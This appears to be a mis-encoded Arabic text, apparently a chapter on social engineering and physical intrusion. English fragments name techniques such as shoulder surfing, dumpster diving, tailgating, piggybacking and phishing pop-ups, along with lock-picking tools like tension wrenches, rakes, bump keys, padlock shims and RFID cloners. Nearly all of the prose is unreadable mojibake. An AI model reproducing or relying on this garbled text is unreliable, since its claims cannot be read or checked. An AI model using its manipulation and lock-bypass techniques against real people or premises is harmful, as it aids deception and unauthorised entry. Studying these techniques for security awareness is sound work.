jT.uij lJ^JI jl£ lil .L-fl^J) UI^jI Jll lJ&\ j\ cjUIj^VI j* \:r ^ ^Ul^VI jjj^-aII .dASjVl 

.Jjlj 4£_£^Ia lia II ala^y) j" all 6 C£^>^ ^J^'" AiJalc ^1 jlajC ^aJ lij jl tL^Bj ;^j£joiC 4 jji^. t^JjJalU 

(Look for the Positive to Mention) * j*^ c^^! 6^ ^aall - 

Aila j-d ^1 jl ^JJJ V tiljj Clll^ _<Cjjxi jl jj^ j-d j^lj 6<LA-anQ jl jC ^ <Lj ^jl Ujjol jl t^lLlolJ L— ll£ IaK 

j>» (JULa ^1 laJLujl J .^iljuJ (jji ^— ilij tl^-llc jlaJjaiJ i\j jl jlxi jj^J jl ( ; ^ J O^J 6 ^ Ji"^ ^J^^^ ^ C5^^?^] ^C5^ ^5^* JJ^*^^ 

^QjUl \^j| 4 jlj" t^ukll 11a j-d ^^^JUJ cJ ^A^Vjl DJJJ^ ^"Axi j>»J ttiLudjj L_flJjXJ AsU tJU^JjajVI Aila j-d j>» L_j|jjSVI 

_c_jU1| ^J^ 3 ^ £^3^ jl ^ '"^^^ 6 JjixJl p jjt > <lila ^^1 ?<joia^. jl AjujI ;Ia jaC 

(Assume, Assume, Assume) lHj^ tjiajSiSl 4(jJajSi3 - 

JasU L_fl jjoj L_fl^Jl jl jiajlij .t-^x (J^ (J^J^ 6<1L^JI 6<lJajial L— u£ ^(^^ jC jjjUll jC <1 jSj La t"lt am ^3 L— u£ LaJj 

^IdJ L_fl jjoj <j| jiajlij j tlA^JjJ ^^lll <Ljlallj ( . <j| jlajial tlA^JjJ ^^jII <Ljlallj 

# l^J ^ j3l! ^^lll djl jUxJl/CjULnll j IgJ j^.jlaJ ^^jll <11ojVI jiajlij 

..."^UJI Aijc. jx ^ jcl U^JC." 

AxJ 4(3^^ ^—^J J^ 1 ^ J Au^VI Aila j-d ^-^aj ^ ,<J jj^ jll cJ*^^ l^j jjoj li^j jl^xJl 1^-1 ^ aljj tdjj jUJl I^A jiajliflj 

^'^jjjl ojjj^a ^IjjI jj^j 6^^l j^ll j^ (ji^Jall j-d J jcl Lo^jc" IAjuIIaI! Lajj 4_L»L^xi ^jA5j 
du£ lij aJ^C ftjlaJ tdj^l UJ^ t ♦ 1 >J <J^aLaJl aJLlII Sjlaill ^^Jc JJjJ 'Ljajl ^AjjS <jalj jA Cj.^jm 6^JjJ jl jialjlial ^^ic 

Ajujill (_^Asu jl l^jLuj j-a ^^lll j o^J^ll A^. jll Jijl*J j AjoiaJl 4jl1 (^±1 ^UiicVI j-« ^aUaill li^ .<i^.l j-« d llai La ^glc ^Jj^aaJ jl *ljJJ 

.t*L j-aUJI 

^jj jl 4_ilixJl ojlaill tiL^l jl£ lil jll j^lsuj WaJI 4jl1 C5 1c jjjJ 4jI£ Jl j^Vl j>->i^l ^ jl JJoflJ c_fl jjoj tiljli JJaill ^3 jj ^ dn^i 131 
,Lojjlaxl<i ~y gaJ V (^5^- ^'^f s H *^ J^^^ iku V-I^A j-<» ^C* jll c>5 lc 4 jjAaJ *Lol£ jjoj <joiij £ c _ 5 juoJ! jli t<aL ^11 dAA 

l&jLaJ ^5^31 <9Jjkll (^Ic jjjJ jl j^J "t JjJailj jAi-d 3 Ijja II ^ I^A ^^1 ^iklb" 4 jj££ill I3a £a J^Jl 6 Jll<Jl Jjf>.>i C5 lc 

JjudJ c fl^Jl L_fllfij|j 

(Try Different Opening Lines) iajkk 4JjU^ - 

jjill jjl^-Ull <c ^ _cj^jjoj Ui <_£jjj <all^ jjijlxj ^1 i^jLujI (Jjl^ o^j C5^° J ^'^ c '/^ (i /l3^ j^*^^ ^ Aj^I^-<JI 

.ajaiISj jjc. CjUjla ^ \iA\ jjjj ^ CjUUj " https://www.okcupid.com " CjUIjJI ^ j« jjSI jjjj^j 
^ixj ^ ^u^r. jjjb l^l jl£ l^a. "s jij£" <icU^ ^ j^UajVI jl OkCupid JW^j ^ j ?Cj^U^1I J j^ j^Uill j£ii 

,JjJaaVI J^Lill 1^1 jl£ aj^Loj j AjjAj 4<suIj (JLq CjI aK jl j^ 4 jjjUII ^^ic A^iAj jIjI IgJ A W\ uj j 4<Il<^. 46jjlL<i JLft CjI aK .£j-all 

e ^3U j«_^ lJ^JI ciljL "(hallo) V j 6 "(hay) V '"(hi) j^" Jj^ jl JU jll s^tk-JI ^jII ^ 

"hola" j '"(howdy) W^V '"^(What's up) j-Vl U" '"^(How's it going) JUJI ^" ^ ^jw- j^lj ^jUll 

AjAalaj jjisJl diLi^ill £A JjJafll JclijJ jjjUII jl I^j^^^AjjujI j^J ^^ill <Jailll j^lj 4D^cl jaII <J ja. CjUjU^^.yi £>i& 4^llaHj 
.<1Lojj1I £A L^^JI <Jcl9J (Jjjia ^ -ia^^ ^ Clul j tiL j^aLkll ^3-^ c allkj 44jcU»1^VI ^joj^JI <lla> ^fl 4 J1<JIj 

(Use Past Tense) ^Ult 4ij^a ^t^a^t - 

JlxiVlj <— fl^l jaII c_J jLojVI li^ iC5 jJaUJl j>» j 1 ^ t > >i jj ^3 4£>j! j£j j>» L_fl^Jl Ajjj V l— n£ ^^^-A^ c-^^^ ^1 4^11^ Ajjj U»^jc 

; JLIaII J^f^ .till <Jjou31j 6^1^ pUJj) Jxil 4 U>1^ aj oAj^. "3ajU>*< 4_^jV" <1 ^J^J ^ ^^jJaUJl jxi A-uLaill 

../'c-Uajuj ALoiII £a f.111 ^^ic J jj^a^Jl £_llalail j£l ^1 Ul J jflJ La^JC-" 
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(Seek and Destroy) g**^ - 

(J^.^)3 ^^iill ^cJI uj-^ U' ^ (j^al^JI Ajujil! jl cJ^^ -c^A^ J^-^* cJ*- 3 j> t — fiS j-a ^1 ^ (J-dlx!i3l ^jj i o t aj£ l 

^■^kj <C a (jl L^.Uj^a 10 <C-LjoJI ^ajJ J£ (jb ^alc ^^ic <LLaJl C1jL<JI£-a3I ^ .^IaJ! ^J^- C5^) <J ^ J > " l£^\ 

.L_ll^)]ajJaVI (J-dlxIill ciljJ UJ-^J U' ( ; .^J^ Ailalc <*-lbj AjjjuJI 

(j*3 ^ La ^AjudJ ^^lill JjVI 6J>JI t^-^ 1 -^-^ CjIjjjUII jl 6<Lala all 4j ^ a all CjblAjuj £x» <J>»Ixj3! ^jj i o t * a j^ J^SJ (jl Cj^laljl 1 31 

L— ib&ll^a L_ fl^>su V 4il (j^akjaJl (jjfb Ui^ic 4il dAjJaljJcl La |L_fl^Jl Jlxi (Jjj jl^Jl .l-^-T.^ (J^IxjII ^ (JJaflJ ^jl ^^.^<Jl 

^aLkJ! jUlk!>l! \ * ill jUlk!>l! Aj^La A\ dlbl^joj ^ S jjt > ^ c _ 5 -lasu ^jl (j^J O^J ■^^) , ^ , (*^J J^^ (JIa jj^Uc ^ilaj (j^J V 

.^a jJl I^J 1^1^. Ujjuj JjtS jl Lfc£ jL^jVU ^>*jalJ (jl 



Other Human-Based Social Engineering 



;til3i ^ Iaj t<allLxi djLuaj (jLoijVI ^5!^ 4_Ajla3! ^jcLdl^VI ^ J>»Jjj 

(Eavesdropping) <*nnnti 

ia jixk Jlxi (JU^jVI djl jjS a I laJL ul J <illi ^aJJ (jl Uiajl (j^J .4-5 jI^Jl jl 6 jJ^iillj Cj jj^II ^ Laj ;<JL^jV! (JI^jujI (j>» (_^l 

(Shoulder Surfing) ^Sit ^ 

tA-ik^kjoJI djUi jjuJI t aS£ cJ^-^ (j^akjaJI (jl (j^ ^akjaJI (j>» ^laill jl j>» ^jUr> Shoulder Surfing 

(j-d ; ^llaLL<Jl a I iklLujl J fi.^JJU AiLabd (j-d <te 5^- J' (j^ (jj^^ (J^ 3 Jj^alll .diUi jlat-<Jl (j>» lA^)JC.j tdil jl ui^Jl ^alijjlj PIN (*^J^J 

(Dumpster diving) i^USll diaall J_ 
jjoJI cjLaKj (J cJ jj^^ll *L<iU^I ^gk c— ia ill (J^li. (j-<i djUi jls«-xJI ^L^jIojI 4_i1ac. Dumpster diving 

£>3& a I laJLujI (jj^L^ig-All (j^J .^^>^^ AijjaJ ^^uJalill (J^^lj tdlLdJjajllj fljl^Ji ^aj| jSj ;<L^V CjUa^.^Li (jLail <Jjj£-<» 

,L_fl^Jl A£jjoi ^^ic ^a J*Jt> ^jjuol diUi jlx-<Jl 

(In person) I j^hi ± 

(jxi I g - a^LaJLujI (j^J ^5^^ d^ jls«-<Jl (j-« c^IIjA .CjLd j1s«_a3I *L<» ^iaid (j^a^3j U^mi^ L_fl^Jl ^3 j-<» 6jU j (jjljL^J J§ (jj-<La.l^>Jl 

(j^ '"^^ (jl clA^ t(J^I^ ft^lj 6^)-<» .^5^ jl (Jj-axJl jl ^jLaJ l^lj^a jJ 1 ^ > ajj ^^)!aJ ^jl (j^J jl jJ ;^aJja£l!l (j^akjuj 

a£ jJJI ^ Jaxj ^1 <JUJI j] jjSjII 

.1^)^. ^i^j (j^ 3 J^l\ (jL^ajl C1jL<» jls«-<» 
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(Third-party Authorization) £1^11 <-5jIaJI o*M& 

Jc a ~* dLa jl*_-all Jc <J jj^^Jl ^ laludll (J^asu ^jj^LaJ I— Lia CjLl^.!>L^ (ill aJ lS^*^ ^jaiijj (J^-^ (jJ-a^ig^all uj 

^)iJl t . il jr. ^I^JjojIj Al ^liil j-a (jj^^l g >all cl£^ ^ Jjlia^all dlLa jlx-al! Jj <J jj^ jll 4_ijl^a! ^la ^jc <Jjjjoia3I j& (j-a aA^uz ;<Jtlall J^f^ 

.^Jjllxall djULnll Jj J jj^a jll ^ S^lilui^U 

Tailgating *k 

.p! jjoj a^. Jc ^jjfljla &1I ^j-aVI jLolLujIj ^aja^ti ^11*1 1 J ^jj^^l & a\\ ^-l^W ? i^Lujjj ^Uua!>1! oj;^ <^-& Tailgating 

a qU"^ (J^^li SjLuj ^^j^jj Al ^ ^ ^ ^jjc. ^akjuj (jl dlia L_ala j^a (J Jj^aj CjI jLiLal (j-a S^lilLuiVI j& ^.uiL.n V I ^ilai-all 

^Jfl AjU ^alc Jc (jj^J V ^ ^ Jj^xJI (j^akjaJ! .(J J^^ll £"Ui-a t . liLaJJ (_£,iJl (J^-^ (j* ^ ^ J> (J^^ uJ ( ; (jC« AjUJJ <j!>tk (j*a 

4_L<j| ^alaj^ Jj J J^ 3 JJC- (j-a^jui 
.(jjjl^C Jc ^.uiaII jl J> ^^ r ' (J-^- 6L_fljl^Jl Jc (jU-aj| ciL^l (jL ^)&Ua!ill <J!la Aill^-a (JjJaJ J^Lill li& j^^*^ (j^-a-all 

diaj j) <jual^JI ^jjoiil jj jji^ll J] f ^ 11 ^ <-U^ Tailgating u * l ^ j / '**^*^ <jjajc Jal ^>iJI aL^c (j^j ^(^^ c^l 

(Reverse Social Engineering) ^*£*il ^UL^Vt 4^HfSI ± 

^\ $ a\\ .CjLo jlx-d ^^^ic <J jj^^J! ^ La ( . lllaJ (Jjjila ^ <iaLaJl ^j^>^ >*>1 jjJ ^a^flJJ <LaJ^Jl L_l£j^<i 64jjuo£jl!1 ^I^VI A mi,V^\I ^ 

jl <judij ^jia^xJ ^aJ (j-«J 44_S£jouJ| ^LudjU ^ajL Vjl ^^C-Lftl^VI ^J" all ,<Jjl!axJl CljUi jlst_xJl ^^ic <J 11 <llajVI £*J L_Jc!^JJ 6^lc 
(J j^. L_aJa t . lllaJ ^3 tJllxJl J-iJjuJ C5 lc .(J jl^ll L_llla ^^Ic (jaila jaII ujJj t^Ldlc Aj^L^xi <j!)tk (JA 4_S£jouJ| oi^ (JLal jj;^ L^judij 

( . lllaJ liAj .(^cUu^-Vl (JjjI^-aII <L^all Cjli diUi jLcaII jSjJ li^j .CjIAscaII jl 4^1 j^Jl 6 A ijt ^ CjliLi ^^Jc CjjjI <KAa1I oIa (jl 

.^U^j i-^tjK"^ 11a iiiiil 3 aVu A\ £j\ CjIjI^-aII ^ ajAsJI 

Piggybacking 4 

6^Loij JjS jx» ^aui^JI Piggybacking c3^4jj jj^jj Lj^^ ^ c£*t ^ j ^W^' f Piggybacking 

.^cll 6c_jU1I Jaa ^lil aJI j Jj^Jl biometric access J jJI c> t_iliajj j) <ia^ jj^j jl 
cilll jl ^^ic j > c _^j1I jj jjj^ti a <Jaj) J jj^a jll lLli^ J>^c 4 l-i^ a j\ a£jJj J^Lk ^ ^ jjj£lVl Piggybacking l3^^ 

jl ^JC. (JjI^joiJj t^i^j^a (J^JudJ ojj^ll pt^y ^A^JjoiaII (JjuoSJ UiAic . JJ^)>Ji ^i^j^all ^^JjoiaII A-$J& U^ 1 ^^ ^l^jflVI 

A lajaiJ (JaxJI ^ i ula 6 ^ iLujVI a^I g rail (j^-aJ 64_IL^J! oi^ ^ .(J j^^ll (Jj^ > ^ (J^_)^ U^ 1 ^^"^ (J-aC ^lj a^J ^j) ^a^juall jj^J 



Computer-Based Social Engineering 



Aj^)J| JjLojj <JiLa CjLi^a^ll LljlkiflaJj AitL^xJl <li±kll ^c-al^ll ^I^JjujU l^aJaaua 4_icLal^.Vl A ui>Hfrll ^j-a L_J jjujL^JI ^Ic ^jlall ^3^^ 
^Jc. ^-La (J^asu ^L_J jjojL^JI ^^ic oAxuat-all AjcLal^Vl A m, Vigil CjLaaJ^ ^j-a SAj^C ^1 jjl c^IUa j ^cll 4<joi^jA1I j 6 6^1 J^>la ^\ L .^i^l j 6^ jjj^IVI 

: j^l! 
Pop-up Windows «t 

jl (Jjt.uuII ^Uail (jlajC (JLa La <l£jaba J j^. JJ laall J j£j <fljila SiaU jj ^^Jc. jlill ^ laJLud^all ^IjC-V AjuLuj <L^)ia A flJ J J a Sialil! 

^3 JIj^jVI (jl J) t(J J^-^ll cJj^ * ^ 6^lcV ^^Jjaa-all t . lllaJ 4_>f>iL>f>ill ^^ic jUal jg hj .Ajfll > >i] djLa^k ^aJ^ <J^lk (j-a jl C^nlaJ Uaa. <!Lujj 
^ ^ jill li^ ,^.1^-all jj^ jll CliLa jlx-a jLajjU ^inlall £c-ali^)J! ^ j\) > >i , Jj^jouII S^lcj Jj A£jjoJI ^JU^jI ^Ijajj L_flJjJa-all (jc ^laijl 

l^jj-a^jjaball ^l^kl ^^hin <ainlall ial jill £>i& ^j-a ^ijjI Jc <£lal Jj La^ j .CjLuj jjjiill j S^l J^>la ^ u ^>^1 ^I^JjojU 6 jL^Jl (j^-aJ j^g \l 
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(Spam Emails) Sfrj^l Jjj^I 4- 

(Jja^l g *W J^jj clA^ .^J^V^ CjULud^Jl (Jj > <a1 9J <JiLa 4^J^> CjLg jl*-* £-<^J L_fl^Jl ^jjl&lVI ^J^)i3lj aJLujj lS-^j^ ^.1^-<JI 

(Instant Chat Messenger) ^j^t 4^t^t Jil^j *t 

^Jc <J jj^^Jl ^ alia a <llaj| ^jjlLoaJ .djLa jIslxJI ^-l^kV L_fl^Jl jjjj (jl (j^-aJ <^iJl <11ojVI (J^aau (J-^ U' f £ ^ ^-W^ 1 ^ 

(Hoax Letters) JiUj 4. 
(Chain Letters) J^jJI <> AlAu* J_ 

(j-G ^1 J^jj f I^ILuIaSI (jl -lajjuj c _ 5 ic- daLia ^Jilij <JLJ| <Jlx» 4_ljL^G UI^A ^a^J ^^jll ^jJJ^Vl (JjIjuJJ 4_LaiLuJ 

■ sJ ^ ^ ujVI 
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(SOCIAL ENGINEERING TOOLS) ct jj| 9.3 



jj£j ^^£3 L5 c>\ ali^VI ^j" all SjJS J JU ^ y 1 "V ^ £ ^ *J Aij^Ut CjIjJVI j* ^c- j ^ * J ja. 4_icLua.VI ^ > » 11 ; J-*VI (j^*^} 
^Uall jjj o j^ill Jjui jl*J l^l^klojl ^JQJ< Jc; 4i^>x-<Jl filial Ljajl j£3j CjIj^VI j* J^l (J^ **4* J! 4i^VU Z^^' 1 

CjIjJVI filial Jj^-a jl Ji^^U .CjU^jJI Jc ^jlil! CjIjJVIj 6t_fljlgJl CjI jjj ;4_pLJl CjIjJVI j£ djla^llkVI Jj^aill li* 
JjI jlill L>* clA^ C5"^J AjiaVI CjLujjUuJI <Lja JJ^*^ <*->lj-^-l t^Ui j-a V^J i( ^cLalaJ jjj a (ilLcaJ jl JjJaSVI jl Jc«VI 

Jjjj V tdjli .<iajLi jl <ilk3 j <lx^J (jl j£-<uJl j* jll j |ja» JJSJl jl lj^ J^^l jll j* ^ jfi U' C5"^ J >^l ^IjJ^^ 

<C a jjJ c V^N ^^sLaVI c^-lLJl Jc- jj£j jl ^JJJ V j tAjcLal^VI 4_jojA^JI J f^ya jjl ^l^)^ L£^J^ (J^W J J 1 ^ 

# J jj^j jll 4_iujl_L<ill CjI jjVI 

jl JUS VI C5 Ic JJj pj^aJ jl Jjl^j V l-AjUI 11a j^Jj t^aauJa jj£j Jc- 6 j Jail tgjj] al^VI jjjJi^Jl djljjl 4j3 

,t*L Aj^aUJl ^LojjIaxJI Jj jj jl IgiL^ j* CjI jjVl (^A U JjJaal 4_i3t£ CjU jlx* ^Llaaul 5J jU^ tSllj j-a V^J fSj JUajl 

Sajj^JI CjI jjVl lP 3 *^ .^j^^ j t jjiuuil t JUS VI ty* JIq ^U^l j^jj ^jSI j "tAjjUJI CjI jjVI" Jl<^ t Jjuoall Ija (> J jVl ^jujSII 

CjIjJVI (J^axJ Jj^aall |JA ^ laju _ Jj jjj aAa Jlx» ^)T_>.7iJ rola^VI jjj all J*-aJ jl l^jLuj j-d C5^J (JJ^Jl <^ J^- 6^)±Lol\j 

t fljl^Jl a I iklLujI J j^. CjU» jIslaII (J^asu Jj^ill 11a ^aJaj ttilli ^1 AiLjaVU ,Cj|jjVI jjj^II (J^axj ^JaJ tl g ^ IsJLujI 

^^llj t^jjjoJI CjUi jlx-<JI ^AaJ 4_Ajla3! djLi^ ^j;^ CjIjjI JjJaal j>» lP 3 *^ ^->^-l^ ^ j-^^^ t^UcLal^Vl ^ > » II ^ JjIajIU 

.{password profiling tools) jjj^' <^ Iwnti cjIjjI Jj^ 

Tools) Aj^I cjIj^I 

^cUu^.1 (jjj.Vig a (Ai j£ j-<i cJ-^ c j ^5^^^ o-°VI .tilli aAA j t jIxjuHjujVI S^-aJ j 6<jal^<JI djljj-dl^ j JUaVI 

^1 CjUxJI 



.iaJjoiJ Jail Ija. ^LiJJjflJ ojjj^a ^Ull J^j^JI j^ . Ja^ll J-ftC jc !>Ula ^^>*J jl Ale L_ 

■ Upper Pins 



(Lock Picks) JlfiM 

^ jUflVl ^ ^ jjJa ^fl J j^Jl Jj£ 



Pin Tumblers v 



o 





¥1~ 









Shear Line 



Plug 



jjjjijljjll j jjjjJLg jiill (^^icV ^ijj ^-UixJI ^ULaII Jja j^ tgj l_jc!>Ij3I ^jj ^^ill j jjjjJLd jj AjjI jl Jaill Jaxj ^^ill Aij^Ul L.»L.»I 
.Ij^. ^l^j t^jliJI Aijc. 6l_jU3I ^iijj jj^ jl ^IjIaII La>A> U^Jli LaJI jjaii ^^ic Ukj^aj l^jjcj ^Upper Pins) ^A*-^ 
^jjj Uu» tj^ljj j^Ij i ni l ^^aj ^ (Upper Pins) l>^^^^ 5^ ^ ^h^^ c^^ 3 {Lock Picks) JUaVI jtSli ciL^ 
.tension wrenchj picks : J^l ^ jJI ^Ij^VI (> j^SI ^H^i .s-jU1I Jai3l l^I 

JflS J^b l^jj d^a . jliu»Vt S-^a obi jlj^ t^jl^J J ajWU jJx-«JI j* <Ljia ^JaS ^ (JliSVI £^) Picks 

,L_LujLL<J| jl£-<Jl J ^ j ^ j* > ^ u^^^^ J^j 

-Picks ^l^iuil ^Uijl Jiill U* > h (j-^jj ^joij jllj s j^i-^a 4jaJajau> A^j*^ s j^l ^ Tension wrenches 
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.^LuJI c> J£ (Jc ^ <-J*^ "lA 1 ^" ^ j Picks JS* j^h (Rakes) u^^l 
ajV Ajtia. (JliaVl Ia^j Jaill Jkb o^j^c cIjI^ jj^ j ^ Rakes ^-SJ^ CP* ^jW^ ^j^l 

: 4JU]| Cj) jkki) t jail 

Ai j*^ j* La ajLUI s jI^aII .^UUI jl jj^ oUJl ^jjoij ^ aj jta] ^3 ^-LLJI ^ Tension wrenches J^4* ^ . 1 
jja jii .^jIjjJIj <Ji£13 ^joaj Lu* t^jl^-All ^ V l_s jjoj ^joujIjJI j tl^a. cJ^^ j» ^hviml *\ jjuj Tension 3iLiaj 
.(pin shafts) o*jt^ lSjW* ^ cjLjUI o^j*i s j jt > ^ 1 4iU> ^^Lkj Tension c> ^M-^l 

LdHc. <Lila Alkila dj jj^a £^Lujj c*I&aJ .Igil^xi ^ Igil l^J ^>*-*jjJ C5 1^. J^-VI jjS j jJ-aLuuJl ^ijJ 1 g <OViunj Picks (J^-^ .2 

.jail 

http://toool.us/ 

http://home.howstuffworksxom/home-improvement/househ^ 
http://www.lockpickingl01.com/ 

LA JJC. jl 6L_u£-<Jl Lf^^-^ UJ^ M\a\\ (jj^J (j£-<uJl ^ t^T.rt JliaVl ^ils dj) j,j! ^ 6 Jjir > ^ Ac. ja^o cJ^^- ^— ^ 

# CjL<i jlx-a ^^^Jc ^5 J^J J AlaL<Jl CjUisJl 
,Aj^IxJI (JaslSI AaUaJ a J <^^J 6 C5^^^ l!^^^ ^ 6 Jjir > ^ O^x^^ Jakll ^Jfl CjIj^I 





^9 ^jJa j-d jA La£ tA-a^jJa (jj^j (jl ^ > <aJ) (j^^J 




4 https://www.facebook.com/tibea2004 




(Practical Usage) <^1«*JI ^(^l^VI i_ 

^jL jIjj Jj Ja^l J iaaa cJaall jtli ^ jIj 1^1 j ji jj^j Jjj jitill aJL^ ^ilflVI J (Lock picking) JUaVI ^ia 

V Asu ^-L^jll ^JjA^J ^jjjUII A-lJlc. ^j^3 j tJliSV! J ^^.J^i^. ^jjjj^J L_fl jjoj ^jjjUII (J^asu 6^j£U31j .Aj^^juj <L^)iaJ L_lU3l 

J Pickj rack <^ J u^j ^W^^l ^ Jj^JIj ^Tension c> ci^ 5 c> c^^ 1 ^ 

(j^flaj pUji ^JlLj J^b cAkL rack stal ^I^Lual lIu^ 11a a^ J ^ (Racking) 



<Lj]a3l ^l^klojlj "JUaVl ^ia" ^ ^l^^i j < JliaVI ^Ijj? c>» ajAxJI Jc J-oxj ^jijll .tension wrench J] c a^aJ) iasuJall 
j^ill U j ^rj^ > ^ tension wrench j& jjjSII ^Ui^VI ^^^J! s^U^j Rack ^i^i^l ^lsu .4 lazuli 

.(jljlkVI j^-fi^l J ^ j^jJ clA^ J dijuJ Igj) .o-ajll AjIc lac ^3 ^jb ^liiicVI 
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t ■ ull > ul j 6 I£)S<Alaj|j AjjUll jlj^aJlj i^J <j^aLk]| 6 J£J>Vt dlt jVj^t (j* (jJjXalt C5 li> jt L_flVVt (Jijj L_S jjuj djl^jJol! jl JlaJt 

.jU^V! c> ^ <jU^J3 Jaa t jV j± 20 j 
tiA (jx* Jia cJj^- ^-^j^ uj^ U' ( ♦ .^l^ r ' U' J*^ J^ 'Sujj j ^ a ^ <jojjUuJI 

. Jxilt I ^ (jjjlil! ^^ic ^pajill CjtjJ-dt^ L_li£jJJ j£j 
^ ^Itj LED *\ a ^' ^ ( ; ^ ' 11 ' ^>t I^LujI ; o^jlill <Laj,j£. <U > >n (jj^J (jl O^-^ Cjtjj-al^Jt .jjAaJt ttilli Jt AiUiaVU 

.i^lgja j 4_ikxj3 pUaC. jt <xj3 £.t,JJjt jt 4_juiA*Jt 

(Picking Magnetic and Electronic Locks) Jjj^VIj < j * n\H ^1 1 JiSJI ^1^11^1 jULkl ^ 

(j£-aJ ^It ^^ilaj JflS ! jjujJ (j-a (J^*-* L$ J^^ 0 J^J Jj»->*^ AiK-d jjc. IgiV 4jJ» uj jJ^t A-Laulal all JliSVI t "^ t < '^' 

ti] !c>Vl f IAju! ^ jlm* ^32 ttilli t^jaulaU^ll jUSVl .6 jSlI JalSj j t^La^Vl j JliuaVl J 4 Junkl ii Jl JliflVl .l^JalSSlI 

(JflSlt Jj.ua jJ ^aJJ ^1 tit 6 JlaJt <»^JaJ 6 jA tiA .L-lUll ^JflJj tJabjjVt tilflJ L_fl jjui A-jjoLlLal Jt JUSVl (Ja» a jU Jbj^l jUjlt ^Jajjl 

4 j 1-^1 n 1 4 Oi l 1^ j \ l 

{Google Hacking Database) J^j^ cjUUj s^&IS ^ilt ^UJt ^ jSl^Jt j ^Ul^Vt jj^^Jt j^t q* t^jjl 
(jiaa ^j* .AiJiixij t oU^^ CjlcUujj at i^iLujl j ^ . kuJal o JiS jjl^>j* ^-jt t * a j^ 4_uaS c^jjj c^^j 6 No Tech Hacking ( „ ^ ^ ^—^j^j 

(jjjU»3 <xJaS (3^3^ C5^^ ^ *^J^ Cll3l£ ^^t L_jt jjVt o J J^-J ^a^t .^yt j^j ^-ul^ t aU ^ ^Jc. s-Ijj Jiklt JaUjjVt 

, J jj^ jit o^Uactj Ji^lt ^t (_^^t l^J ^pU^U ^Jjiilt djlcUijai ^^ic A'ua 

Jat J jit (j-<i el u£ tdalc-Lajudlt ^ Aiii^ Jt jlat jLii^.t j ^ ^^t (J-g JJalt ^ ^£j-<Jt ^jVqMt jUl^.t t^kj^a ^1 di^jjt 

^ c *Q>^ilt ^jL>j3t 3_ij^x>Jt c_jt jj^t Jia j t^ui^Alt ^^Jc jjiij c _^j3t Jt j-«Vt jt^ ^ ^c. jit ^^ic 4Jt jA t^A (jc j5£t L5 ilAil L* .(jjjLij ^ 
^j* t^Uj^lt jLull ^Jaajt tit JmII AJt (jjjUjiilt Jlaat j JliSV ^jUl n^VI Ailklt j^L^ ^ t^oj jaj (j-aL^ajll Si^^ A^L>J iat y 

^^pLaS 4jJa3 ^ CjIcLuIi JjS (j-d 1 Ll }^\ 

jj*u^ ja j i(RFID doners) gnm . n^ t RFID . J^Vt 6 iA ^ ^ ^Vt jl jj^3t ^> (jjL cilUA ^JJb 

.^Jninjlt ^nnViliT Jt CjliUaJt ^joul ftj^l ci3LiA j .cj) j/Vt jJfl RFID >»J l^^t ^ Jalialt 4 j£ <lj 

(Miscellaneous Lock-Picking Tools) <s j^Sfl jSUlt JiiJ) ^fl cjIjjI ^. 
<shove knives J^ «c5j^Vl cjIj^Vi ^^j^ c^^ 1 ^^^ l>-^%^^ ^ ^ 'Picksj tension wrenches Ail^VL 
Jjj^jlt Jx^ jSaj 41^jISj) ^ tdjtj^Vt &iA q^xj Jj^>ji3 '(padlock shims) J^t ^j^j 'bump keys 

Shove knives 

L_fljc. JiLd 4 Jailt ^-Uixi ^t jt L_u£-<Jt c_jt jjt ^t J jll <L^)Ia ^jjoatj iA\ '^-!^t J£jaJt ^a La£ 'Shove knives 




^jli* ^ Bump Keys .^tjaJI m^j^ 



Bump Keys 

lu^kiujt I^jV Bump Keys up- jW^Vt ^ j^-^Vt <> jjiilt ^ Jj^^Jt ^ 



J£ ^-^aj ^JJS ' 4 1 <9J^)IaJ dlLti ti] i^tj Ajjj^Jt 6 jilt ~1 jaJLujl J Jallt ^taLoJt "^cjJaj" ^^JjoiaII ^ajujJ ^^tj L^aJj ^ 
Jaklt J^.ta ^-UixJt ^-^aj (^A AjjujLujVt 4_u£i3t . JaklU jtjjJaVt (Jj^ (j-a L_alj* ^jt ^t CjU j^aII ^axxJj A ^Ja - gait StiL^xJt ^fl jAaLuiaH 
Jaklt ^IjLoJt "^cjJal" ^kt jJa > ^i ^jjI£ jt (ilLd ~1 iklujlj ^-UixJt t fljia jj jjlt ^-^aj ^J .(Jj^jaJt ^ (JJJjt jt ^tj £a <J ^ jj^Jtj 

,^ljixJt tiA <^-^t j£jaJt (JJJJj . JJ^ L - J ^ J^ - ^^ ^ L>^ J > ^>^t (jl£-<Jt ^gk (jjjJjUJt ^tj^.Vt tiA (jiajSJ > 4ijiaJt 6 jilt 
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Padlock Shims 

^ <L*Jaj jj^j Xhe shim .Jult <^ ^} <jp^y ^ v^ .. n j Jult ^ ^ill JjS jll j^JI ^> s j^-^a <*-Sa3 ^ Shim 




Shim 




n>^-N ^ j±i j-<JVl <Jc l^ixi ^1 jjl *j j ^-^j^-Vl djli shims c^"^ <J^-^ 

^ lJ_> Jia JjUj y> f£ j^-ki ( https://www.youtubexom/watch?v=7INIRLe7xOY )^j^V^ u ^"^ 

http://wwwJysatorJiu.se/mit-guide/MITLockGuide.pdf 




The Bump Proof BiLock <t^ia < jt » ^ I ^ ^ J il^ik J jVim^ l ^1 JlaSVI ^Ua J^L^ dial 

c^Uljk^VI (> u^jjI .( http://www.wholesalelocks.com/bump-proof-bilock-ult-360.html ) ^ ^ j* 

JUaVI *lj^ f j£j t^jU^VI ^ _ Jalll ^^laVI ^c^3l <J^I C-lujj] ^n^xJI ^ W-^J C5-*^ iffi-**^ cl^ 
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(Cameras And Recording Devices) J^uuJI Sj^aIj cjIj^I*]) 



3joj^JI dlLLaC Jj> > Sj^aI j AjiaJ! dlljj^l^ll ^l>laJ ml btxJ ?bLaJ" ;4juiij ^ jiaJ ^ill JIjjuJI CjI^JI (j* .IpsJt ^£ 

.(Protection) (Proof) JJ^I :^L^ i> u jKv > i j u^j^ J^ lSj^ Jl>*" ?<^Ui^VI 

.(JjjUII UiHc <uc.Lala.VI ^Lajii^JI el il gjq aJ/ djlx^. I j^q (^fuj Lo£ .(concept of proof) cJ^^ ^ j^-^ (Jj^-aj ^ jc-^ 

^cLala.VI (JJJ.Vlg <c\\\ .He l^juaij ^5^Ua3I fi^A ^I^JjojI ^aJJ 6L_Loj^U .LLgI jj£l (jj^J (jLuaJ^U AjJaoIl 4_lb3l > *al] A£jjuJ| S^oLobQ <J jLaJ 

jaJl ,<C.|^k ^$J^i f^XAJ ^.1 jl I JJJ ^1 Lft ^aAlclk (j^-GJ L_flljJC.Vl J ^JjAijJJ (JjjUII (j* .Ljajl ^JLacI cJ*4^ i^in^l 

